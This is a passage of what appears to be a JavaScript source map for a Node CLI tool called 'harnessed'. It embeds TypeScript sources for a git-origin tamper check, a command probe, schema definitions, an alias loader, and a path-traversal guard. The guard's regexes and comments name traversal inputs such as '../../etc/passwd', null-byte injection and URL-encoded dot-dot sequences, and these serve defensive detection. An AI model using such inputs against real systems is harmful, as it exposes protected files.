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","file":"cli.mjs","sourcesContent":["// Phase 2.4 W1 T1.1 — sister-share helper for doctor #5 (warn mode) +\n// audit (hard-fail mode allowFork=false). Karpathy hard limit ≤80L per B-38.\n// Source: RESEARCH § 1.2.5 + § 4.1.1 + D2.4-3.\nimport { spawnSync } from 'node:child_process'\nimport { readFileSync } from 'node:fs'\nimport { join } from 'node:path'\n\nexport interface OriginCheckResult {\n status: 'pass' | 'warn' | 'fail'\n detail: string\n fix?: string\n}\n\nexport interface OriginCheckOptions {\n /** true = doctor (warn on drift — fork 合法), false = audit (fail on drift — tamper) */\n allowFork?: boolean\n}\n\n/** Normalize a git remote URL — strip protocol prefix, trailing .git, ssh `:` → `/`. */\nfunction normalizeUrl(s: string): string {\n return s\n .trim()\n .replace(/^(https?:\\/\\/|git@github\\.com:|ssh:\\/\\/git@github\\.com\\/)/, '')\n .replace(/\\.git$/, '')\n .replace(':', '/')\n .replace(/\\/$/, '')\n .toLowerCase()\n}\n\n/**\n * Verify `git remote get-url origin` matches expected URL from `package.json#repository.url`.\n * doctor uses allowFork=true (warn); audit uses allowFork=false (fail).\n */\nexport function checkOrigin(\n cwd: string = process.cwd(),\n opts: OriginCheckOptions = {},\n): OriginCheckResult {\n const allowFork = opts.allowFork ?? true\n // 1. Read expected URL from package.json `repository.url` SSOT.\n let expected: string | null = null\n try {\n const pkg = JSON.parse(readFileSync(join(cwd, 'package.json'), 'utf8')) as {\n repository?: string | { url?: string }\n }\n expected = typeof pkg.repository === 'string' ? pkg.repository : (pkg.repository?.url ?? null)\n } catch {\n // package.json missing 是合法 case (npm 全局装 / detached run).\n }\n if (!expected) {\n return {\n status: 'warn',\n detail: 'package.json has no repository.url field',\n fix: 'add `repository` field to package.json',\n }\n }\n // 2. Read actual git remote origin URL.\n const r = spawnSync('git', ['config', '--get', 'remote.origin.url'], {\n cwd,\n encoding: 'utf8',\n })\n if (r.status !== 0) {\n return {\n status: 'warn',\n detail: 'no git remote origin (detached / non-clone)',\n fix: 'git remote add origin <expected-url>',\n }\n }\n const actual = r.stdout.trim()\n if (normalizeUrl(actual) === normalizeUrl(expected)) {\n return { status: 'pass', detail: actual }\n }\n // 4. Drift: warn for doctor (fork 合法), fail for audit (tamper detection).\n return {\n status: allowFork ? 'warn' : 'fail',\n detail: `origin '${actual}' ≠ expected '${expected}'`,\n fix: allowFork\n ? 'verify intentional fork; if not, `git remote set-url origin <expected>`'\n : 'origin URL drift — possible tamper, `git remote set-url origin <expected>` to restore',\n }\n}\n","// src/cli/lib/probe-gstack.ts — Phase 3.2 W1 T1.4 — D-01 PROBE PRIMARY helper\n// (sister Phase 2.4 W3 origin-check.ts sister-share extract pattern for Karpathy\n// ≤200L 守门 — keeps doctor.ts ≤200L). Probes 4 outcome branches: gstack-only\n// (pass) / bare-only (pass) / both (ambiguous, fail+fix) / neither (fail+install).\n// Win shell flavor sister doctor.ts L80 checkJq pattern (process.platform switch).\nimport { spawnSync } from 'node:child_process'\n\nexport type GstackPrefix = 'gstack-' | ''\n\nexport interface ProbeResult {\n status: 'pass' | 'fail'\n prefix?: GstackPrefix\n detail: string\n fix?: string\n}\n\nfunction probeOne(cmd: string): boolean {\n // sister doctor.ts L80 checkJq pattern: Node spawnSync 不继承 shell context,\n // 跨 Win-shell 唯一稳路径 (RESEARCH § 1.2 verified).\n const finder = process.platform === 'win32' ? 'where' : 'which'\n const r = spawnSync(finder, [cmd], { encoding: 'utf8' })\n return r.status === 0 && (r.stdout?.trim().length ?? 0) > 0\n}\n\n/** Probe PATH for gstack command prefix. 4 outcome branches per D-01 LOCKED\n * (RESEARCH § 1.4 message table verbatim — Karpathy fail-loud discipline). */\nexport function probeGstackPrefix(): ProbeResult {\n const hasGstack = probeOne('gstack-office-hours')\n const hasBare = probeOne('office-hours')\n if (hasGstack && !hasBare) {\n return { status: 'pass', prefix: 'gstack-', detail: 'gstack-office-hours found' }\n }\n if (!hasGstack && hasBare) {\n return { status: 'pass', prefix: '', detail: 'office-hours found (--no-prefix mode)' }\n }\n if (hasGstack && hasBare) {\n return {\n status: 'fail',\n detail: 'both gstack-office-hours AND office-hours found — ambiguous',\n fix: 'edit .harnessed/config.json manually: \\'{\"gstack_prefix\":\"gstack-\"}\\' OR \\'{\"gstack_prefix\":\"\"}\\'',\n }\n }\n return {\n status: 'fail',\n detail: 'neither gstack-office-hours nor office-hours found in PATH',\n fix: 'install gstack: `npm i -g @gstack/cli` (or your preferred install method)',\n }\n}\n","// Phase 5.2 W2 T2.1 — R10.4 path traversal guard (D-03 + D-08).\n// Sister: src/cli/audit-log.ts REDACT_PATTERNS module-level pre-compile pattern.\n// Pre-compile at module load (NOT inside guardPath — per PLAN sneak-block +\n// RESEARCH § 3.1 Pitfall 4: do NOT use inside hot loop).\n// D-08: PathTraversalError message generic — NOT echo user input (CSO veto).\n// Karpathy hard limit ≤200L.\n\n// D-03 LOCKED: 5 OWASP A1 path traversal vectors (CONTEXT.md D-03 L66-71).\nconst PATH_TRAVERSAL_PATTERNS: RegExp[] = [\n /\\.\\.\\//, // (1) Unix dot-dot-slash: ../../etc/passwd\n /\\.\\.\\\\/, // (2) Windows backslash: ..\\windows\\system32\n // biome-ignore lint/suspicious/noControlCharactersInRegex: intentional null-byte injection detection (R10.4 D-03 OWASP A1 vector 3)\n /\\x00/, // (3) Null byte injection: path\\x00attack\n /%2[eE]%2[eE]/, // (4) URL-encoded dot-dot: %2e%2e%2fetc\n /%25[2][eE]%25[2][eE]/, // (5) Double-encoded: %252e%252e%252f\n]\n\n/** D-08: generic message — NOT echo back user input (attack reconnaissance leakage CSO veto). */\nexport class PathTraversalError extends Error {\n constructor() {\n super('path traversal attempt detected')\n this.name = 'PathTraversalError'\n Object.setPrototypeOf(this, PathTraversalError.prototype)\n }\n}\n\n/**\n * Guard a user-supplied path/name against the 5 OWASP A1 traversal vectors.\n * Throws PathTraversalError on first match.\n * Safe: does NOT include user input in error message (D-08).\n * Call at CLI entry points only — NOT inside loops (RESEARCH § Pitfall 4).\n */\nexport function checkPathSafe(input: string): void {\n for (const re of PATH_TRAVERSAL_PATTERNS) {\n if (re.test(input)) throw new PathTraversalError()\n }\n}\n","// Phase 2.2 Wave 2 T2.0 — schemaVersion 7-surface infrastructure (CD-5).\n// ADR 0011 errata — schemaVersion convention (phase 2.2 W2 — F4 / D-16 / B-32).\n//\n// IMPL NOTE — implements `.planning/intel/omc-comparison.md` § CD-5 (single\n// 兼容门 ⭐⭐⭐ ECC pattern, 纯学不 vendor). Naming convention\n// `harnessed.<surface>.v1` covers 7 schema-producing surfaces. Three consumer\n// rules (documented as JSDoc on each export below):\n// (a) consumers MUST branch on `schemaVersion` (use `branchOnSchemaVersion`)\n// (b) unknown `schemaVersion` values gracefully degrade (treated as `unknown`\n// bucket — adapter-specific strings are legal, never throw)\n// (c) new fields MUST be added nested (never top-level on existing surface)\n//\n// The 13 surfaces (B-32 + Phase 3.1 W1 T1.1 ADD `currentWorkflow` + Phase 3.2\n// W1 T1.1 ADD `config` + `governance` + Phase 3.3 W0 T0.5 BACKFILL `planFeature`\n// + Phase 3.3 W1 T1.1 ADD `aliases` + `knownGood`) are the schema-producing\n// artifacts in Wave 2-4 + Phase 3.1 (workflow state machine) + Phase 3.2\n// (plan-feature workflow infra) + Phase 3.3 (manifest-domain aliases.yaml +\n// known-good version lock):\n// - routing-snapshot : routing engine arbitrate output snapshot\n// - handoff-doc : phase → phase handoff document\n// - phases-yaml : workflows/execute-task/phases.yaml\n// - manifest-state : .harnessed/state/manifest.json\n// - installer-state : .harnessed/state/installer.json\n// - route-decision-log : routing decision audit log\n// - checkpoint : execute-task workflow checkpoint envelope\n// - current-workflow : workflow state machine (active / paused / complete) ← Phase 3.1 W1 T1.1 ADD (8th surface, D-02 KARPATHY 3-state lock)\n// - config : .harnessed/config.json (gstack_prefix store) ← Phase 3.2 W1 T1.1 ADD (9th surface, D-01 PROBE)\n// - governance : .harnessed/governance.json (gstack veto status) ← Phase 3.2 W1 T1.1 ADD (10th surface, D-04 PUSH)\n// - plan-feature : src/workflow/schema/planFeature.ts (plan-feature workflow DSL) ← Phase 3.3 W0 T0.5 BACKFILL (11th surface, sister Phase 3.2 W2 T2.2 b875e21 stale claim fix)\n// - aliases : manifests/aliases.yaml (D-01 RICH upstream rename redirect + metadata) ← Phase 3.3 W1 T1.1 ADD (12th surface, D-01 RICH)\n// - known-good : versions/<harnessed-ver>-known-good.yaml (D-03 YAML per-ver version lock) ← Phase 3.3 W1 T1.1 ADD (13th surface, D-03 YAML manifest)\n//\n// TypeBox is the established schema lib (sister of `src/manifest/schema/spec.ts`).\n\nimport { type Static, Type } from '@sinclair/typebox'\n\n/** SchemaVersion template literal — `harnessed.<surface>.v1`. Each producer\n * declares its surface name once via `SCHEMA_VERSIONS` below and references it\n * through this type, so a string literal drift is a compile error. */\nexport type SchemaVersion<S extends string> = `harnessed.${S}.v1`\n\n/** Single source of truth for the 7 surface names (B-32 / D-16). Producers MUST\n * import from this const — direct string literals fail the Wave 2 grep\n * acceptance (≥ 7 `harnessed.\\w+.v1` references in src/types/*.ts). */\nexport const SCHEMA_VERSIONS = {\n routingSnapshot: 'harnessed.routing-snapshot.v1',\n handoffDoc: 'harnessed.handoff-doc.v1',\n phasesYaml: 'harnessed.phases-yaml.v1',\n manifestState: 'harnessed.manifest-state.v1',\n installerState: 'harnessed.installer-state.v1',\n routeDecisionLog: 'harnessed.route-decision-log.v1',\n checkpoint: 'harnessed.checkpoint.v1',\n currentWorkflow: 'harnessed.current-workflow.v1', // ← Phase 3.1 W1 T1.1 ADD 8th surface (D-02 KARPATHY 3-state)\n config: 'harnessed.config.v1', // ← Phase 3.2 W1 T1.1 ADD 9th surface (D-01 PROBE gstack_prefix store)\n governance: 'harnessed.governance.v1', // ← Phase 3.2 W1 T1.1 ADD 10th surface (D-04 PUSH veto status)\n planFeature: 'harnessed.plan-feature.v1', // ← Phase 3.3 W0 T0.5 BACKFILL 11th surface (sister Phase 3.2 W2 T2.2 b875e21 commit msg claim \"11th surface\" was LATENT STALE — never registered; T0.5 surgical fix per sister Phase 3.2 W2 T2.6 latent W1 c37ee29 Rule 1 pattern)\n aliases: 'harnessed.aliases.v1', // ← Phase 3.3 W1 T1.1 ADD 12th surface (D-01 RICH manifests/aliases.yaml upstream rename redirect + metadata)\n knownGood: 'harnessed.known-good.v1', // ← Phase 3.3 W1 T1.1 ADD 13th surface (D-03 YAML versions/<harnessed-ver>-known-good.yaml per-version lock)\n} as const\n\n/** TypeBox literal union — useful as a refinement on a `schemaVersion` field\n * inside any surface schema (e.g. `schemaVersion: SchemaVersionLiteral`). */\nexport const SchemaVersionLiteral = Type.Union([\n Type.Literal(SCHEMA_VERSIONS.routingSnapshot),\n Type.Literal(SCHEMA_VERSIONS.handoffDoc),\n Type.Literal(SCHEMA_VERSIONS.phasesYaml),\n Type.Literal(SCHEMA_VERSIONS.manifestState),\n Type.Literal(SCHEMA_VERSIONS.installerState),\n Type.Literal(SCHEMA_VERSIONS.routeDecisionLog),\n Type.Literal(SCHEMA_VERSIONS.checkpoint),\n Type.Literal(SCHEMA_VERSIONS.currentWorkflow), // ← Phase 3.1 W1 T1.1 ADD 8th surface\n Type.Literal(SCHEMA_VERSIONS.config), // ← Phase 3.2 W1 T1.1 ADD 9th surface\n Type.Literal(SCHEMA_VERSIONS.governance), // ← Phase 3.2 W1 T1.1 ADD 10th surface\n Type.Literal(SCHEMA_VERSIONS.planFeature), // ← Phase 3.3 W0 T0.5 BACKFILL 11th surface\n Type.Literal(SCHEMA_VERSIONS.aliases), // ← Phase 3.3 W1 T1.1 ADD 12th surface\n Type.Literal(SCHEMA_VERSIONS.knownGood), // ← Phase 3.3 W1 T1.1 ADD 13th surface\n])\n\nexport type SchemaVersionLiteralType = Static<typeof SchemaVersionLiteral>\n\n/** Consumer branch helper — rule (a) consumer MUST branch on `schemaVersion`;\n * rule (b) unknown values gracefully degrade to the `unknown` handler. The\n * handler-shape encodes the contract so the type system enforces it. */\nexport function branchOnSchemaVersion<T>(\n v: string,\n handlers: { v1: () => T; unknown: () => T },\n): T {\n // v1 = any string matching `harnessed.<surface>.v1` for a known surface.\n const isKnownV1 = (Object.values(SCHEMA_VERSIONS) as readonly string[]).includes(v)\n return isKnownV1 ? handlers.v1() : handlers.unknown()\n}\n","// src/manifest/schema/aliases.v1.ts — Phase 3.3 W1 T1.2 (D-01 RICH 12th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts TypeBox shape direct analog).\n// RICH schema rejected FLAT (失 metadata) + TIERED (Karpathy YAGNI violation).\n// Manifest-domain colocation: src/manifest/schema/ (sister spec.ts + metadata.ts\n// existing manifest-domain schemas). Per W0.3 decision doc colocation rule.\n// ISO-date `pattern` NOT `format: 'date'` (Phase 3.2 W2 Rule 1 lesson:\n// FormatRegistry.Set not registered project-wide; `pattern` is zero-config\n// equivalent + sister governance.ts vetoed_at pattern precedent).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const AliasEntryV1 = Type.Object(\n {\n redirect: Type.String({ minLength: 1 }),\n reason: Type.String({ minLength: 1, maxLength: 500 }), // DOS cap sister governance.ts\n since_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n deprecation_date: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO-date Phase 3.2 W2 Rule 1\n removal_date: Type.Optional(Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' })), // optional long-tail window\n },\n { additionalProperties: false },\n)\n\nexport const AliasesV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.aliases), // 'harnessed.aliases.v1'\n aliases: Type.Record(Type.String({ minLength: 1 }), AliasEntryV1),\n },\n { additionalProperties: false },\n)\n\nexport type AliasEntryV1Type = Static<typeof AliasEntryV1>\nexport type AliasesV1Type = Static<typeof AliasesV1>\n","// src/manifest/aliases.ts — Phase 3.3 W1 T1.4 — D-01 RICH consumer.\n// Sister src/manifest/validate.ts (yaml.parse + Value.Check) + sister\n// src/checkpoint/state.ts L23-41 (fail-soft read pattern).\n// Memoized 1-read per process (Karpathy YAGNI, only pay cost on doctor 7th\n// check OR install path resolveAlias call). yaml.parse via existing project\n// yaml lib (sister src/manifest/validate.ts convention).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { checkPathSafe } from './lib/path-guard.js'\nimport { AliasesV1, type AliasesV1Type } from './schema/aliases.v1.js'\n\nconst ALIASES_PATH = join(process.cwd(), 'manifests', 'aliases.yaml')\n\nlet _cached: AliasesV1Type | null = null\n\n/** Load aliases.yaml once per process (memoized). Returns null if file absent.\n * Throws Karpathy fail-loud Error on schema invalid (debug locality). */\nexport function loadAliases(): AliasesV1Type | null {\n if (_cached) return _cached\n if (!existsSync(ALIASES_PATH)) return null\n const raw = readFileSync(ALIASES_PATH, 'utf8')\n const parsed = parse(raw) as unknown\n if (!Value.Check(AliasesV1, parsed)) {\n const errs = [...Value.Errors(AliasesV1, parsed)].slice(0, 3)\n throw new Error(\n `aliases.yaml schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n )\n }\n _cached = parsed\n return parsed\n}\n\n/** Resolve old → new name redirect; returns null if no alias for the name. */\nexport function resolveAlias(name: string): string | null {\n // R10.4 D-04 hardening site 1 — guard user-controlled name before yaml lookup.\n 